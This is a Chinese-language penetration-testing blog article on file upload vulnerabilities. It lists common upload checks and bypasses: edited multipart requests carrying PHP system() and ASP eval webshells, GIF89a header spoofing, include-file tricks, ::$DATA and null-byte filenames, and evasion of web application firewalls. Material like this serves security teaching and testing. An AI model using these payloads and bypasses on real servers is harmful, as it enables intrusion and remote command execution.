文件上传漏洞（绕过姿势）

最新推荐文章于 2024-10-10 23:39:30 发布

bandongshen9543

最新推荐文章于 2024-10-10 23:39:30 发布

阅读量231

点赞数

文章标签： php shell 操作系统

原文链接：http://www.cnblogs.com/Fluorescence-tjy/p/7268829.html

版权

文件上传漏洞可以说是日常渗透测试用得最多的一个漏洞，因为用它获得服务器权限最快最直接。但是想真正把这个漏洞利用好却不那么容易，其中有很多技巧，也有很多需要掌握的知识。俗话说，知己知彼方能百战不殆，因此想要研究怎么防护漏洞，就要了解怎么去利用。此篇文章主要分三部分：总结一些常见的上传文件校验方式，以及绕过校验的各种姿势，最后对此漏洞提几点防护建议。（根据个人经验总结，欢迎补充纠错~~）

文件上传校验姿势

客户端javascript校验（一般只校验后缀名）
服务端校验
- 文件头content-type字段校验（image/gif）
- 文件内容头校验（GIF89a）
- 后缀名黑名单校验
- 后缀名白名单校验
- 自定义正则校验
WAF设备校验（根据不同的WAF产品而定）

1.客户端校验

　　一般都是在网页上写一段javascript脚本，校验上传文件的后缀名，有白名单形式也有黑名单形式。
　　判断方式：在浏览加载文件，但还未点击上传按钮时便弹出对话框，内容如：只允许上传.jpg/.jpeg/.png后缀名的文件，而此时并没有发送数据包。

2.服务端校验

2.1 content-type字段校验

　　这里以PHP代码为例，模拟web服务器端的校验代码

       <?php 
     
      if($_FILES['userfile']['type'] != "image/gif") #这里对上传的文件类型进行判断，如果不是image/gif类型便返回错误。 
     
       { 
     
      echo "Sorry, we only allow uploading GIF images"; 
     
      exit; 
     
       } 
     
      $uploaddir = 'uploads/'; 
     
      $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); 
     
      if (move_uploaded_file($_FILES['userfile']['tmp_name'], $uploadfile)) 
     
       { 
     
      echo "File is valid, and was successfully uploaded.\n"; 
     
       } 
      else { 
     
      echo "File uploading failed.\n"; 
     
       } 
     
       ?>

　　可以看到代码对上传文件的文件类型进行了判断，如果不是图片类型，返回错误。

2.2 文件头校验

　　可以通过自己写正则匹配，判断文件头内容是否符合要求，这里举几个常见的文件头对应关系：
（1） .JPEG;.JPE;.JPG，”JPGGraphic File”
（2） .gif，”GIF 89A”
（3） .zip，”Zip Compressed”
（4） .doc;.xls;.xlt;.ppt;.apr，”MS Compound Document v1 or Lotus Approach APRfile”

文件上传绕过校验姿势

客户端绕过（抓包改包）
服务端绕过
- 文件类型
- 文件头
- 文件后缀名
配合文件包含漏洞绕过
配合服务器解析漏洞绕过
CMS、编辑器漏洞绕过
配合操作系统文件命名规则绕过
配合其他规则绕过
WAF绕过

1.客户端绕过

　　可以利用burp抓包改包，先上传一个gif类型的木马，然后通过burp将其改为asp/php/jsp后缀名即可。

2.服务端绕过

2.1 文件类型绕过

　　我们可以通过抓包，将content-type字段改为image/gif

       POST /upload.php HTTP/1.1 
     
       TE: deflate,gzip;q=0.3 
     
       Connection: TE, close 
     
       Host: localhost 
     
       User-Agent: libwww-perl/5.803 
     
       Content-Type: multipart/form-data; boundary=xYzZY 
     
       Content-Length: 155 
     
       --xYzZY 
     
       Content-Disposition: form-data; name= 
      "userfile"; filename="shell.php" 
     
       Content-Type: image/gif (原为 Content-Type: text/plain) 
     
       <?php system( 
      $_GET['command']);?> 
     
       --xYzZY-

2.2 文件头绕过

　　在木马内容基础上再加了一些文件信息，有点像下面的结构
GIF89a<?php phpinfo(); ?>

2.3 文件后缀名绕过

前提：黑名单校验
黑名单检测：一般有个专门的 blacklist 文件，里面会包含常见的危险脚本文件。
绕过方法：
（1）找黑名单扩展名的漏网之鱼 - 比如 asa 和 cer 之类
（2）可能存在大小写绕过漏洞 - 比如 aSp 和 pHp 之类
能被解析的文件扩展名列表：
jsp jspx jspf
asp asa cer aspx
php php php3 php4
exe exee

3.配合文件包含漏洞

前提：校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马。
绕过方式：（这里拿php为例，此漏洞主要存在于PHP中）
（1）先上传一个内容为木马的txt后缀文件，因为后缀名的关系没有检验内容；
（2）然后再上传一个.php的文件，内容为<?php Include(“上传的txt文件路径”);?>
此时，这个php文件就会去引用txt文件的内容，从而绕过校验，下面列举包含的语法：

 
      #PHP  
     
       <?php Include( 
      "上传的txt文件路径");?>  
     
      #ASP  
     
       <!-- 
      #include file="上传的txt文件路径" --> 
     
      #JSP  
     
       <jsp:inclde page= 
      "上传的txt文件路径"/> 
     
       or 
     
       <%@include file= 
      "上传的txt文件路径"%>

详细参考：文件包含漏洞(绕过姿势)

4.配合服务器解析漏洞

详细可参考：http://thief.one/2016/09/21/服务器解析漏洞/

5.配合操作系统文件命令规则

（1）上传不符合windows文件命名规则的文件名
　　test.asp.
　　test.asp(空格)
　　test.php:1.jpg
　　test.php::$DATA
　　shell.php::$DATA…….
会被windows系统自动去掉不符合规则符号后面的内容。
（2）linux下后缀名大小写
在linux下，如果上传php不被解析，可以试试上传pHp后缀的文件名。

6.CMS、编辑器漏洞

（1）CMS漏洞：比如说JCMS等存在的漏洞，可以针对不同CMS存在的上传漏洞进行绕过。
（2）编辑器漏洞：比如FCK，ewebeditor等，可以针对编辑器的漏洞进行绕过。
这两方面的漏洞以后单独成文汇总，这里点到为止。

7.配合其他规则

（1）0x00截断：基于一个组合逻辑漏洞造成的，通常存在于构造上传文件路径的时候
　　test.php(0x00).jpg
　　test.php%00.jpg
　　路径/upload/1.php(0x00)，文件名1.jpg，结合/upload/1.php(0x00)/1.jpg
伪代码演示：

       name= getname(httprequest) //假如这时候获取到的文件名是 help.asp.jpg(asp 后面为 0x00) 
     
      type =gettype(name) //而在 gettype()函数里处理方式是从后往前扫描扩展名，所以判断为 jpg 
     
      if(type == jpg) 
     
       SaveFileToPath(UploadPath.name, name) //但在这里却是以 0x00 作为文件名截断 
     
       //最后以 help.asp 存入路径里

8.WAF绕过

8.1 垃圾数据

　　有些主机WAF软件为了不影响web服务器的性能，会对校验的用户数据设置大小上限，比如1M。此种情况可以构造一个大文件，前面1M的内容为垃圾内容，后面才是真正的木马内容，便可以绕过WAF对文件内容的校验；

当然也可以将垃圾数据放在数据包最开头，这样便可以绕过对文件名的校验。

可以将垃圾数据加上Content-Disposition参数后面，参数内容过长，可能会导致waf检测出错。

8.2 filename

针对早期版本安全狗，可以多加一个filename

或者将filename换位置，在IIS6.0下如果我们换一种书写方式，把filename放在其他地方：

8.3 POST/GET

有些WAF的规则是：如果数据包为POST类型，则校验数据包内容。
此种情况可以上传一个POST型的数据包，抓包将POST改为GET。

8.4 以上方式

针对WAF，以上介绍的服务器解析漏洞、文件包含漏洞等都可以尝试绕过。

————————————————2017.2.6更新————————————————–

8.5 利用waf本身缺陷

删除实体里面的Conten-Type字段

第一种是删除Content整行，第二种是删除C后面的字符。删除掉ontent-Type: image/jpeg只留下c，将.php加c后面即可，但是要注意额，双引号要跟着c.php。

       正常包：Content-Disposition: form-data; name= 
      "image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png 
     
       构造包：Content-Disposition: form-data; name= 
      "image"; filename="085733uykwusqcs8vw8wky.png 
     
       C.php"

删除Content-Disposition字段里的空格

增加一个空格导致安全狗被绕过案列：
Content-Type: multipart/form-data; boundary=—————————4714631421141173021852555099
尝试在boundary后面加个空格或者其他可被正常处理的字符：
boundary= —————————47146314211411730218525550

修改Content-Disposition字段值的大小写

Boundary边界不一致

每次文件上传时的Boundary边界都是一致的：

       Content-Type: multipart/form-data; boundary=---------------------------4714631421141173021852555099 
     
       Content-Length: 253 
     
       -----------------------------4714631421141173021852555099 
     
       Content-Disposition: form-data; name= 
      "file1"; filename="shell.asp" 
     
       Content-Type: application/octet-stream 
     
       <% 
      eval request("a")%> 
     
       -----------------------------4714631421141173021852555099--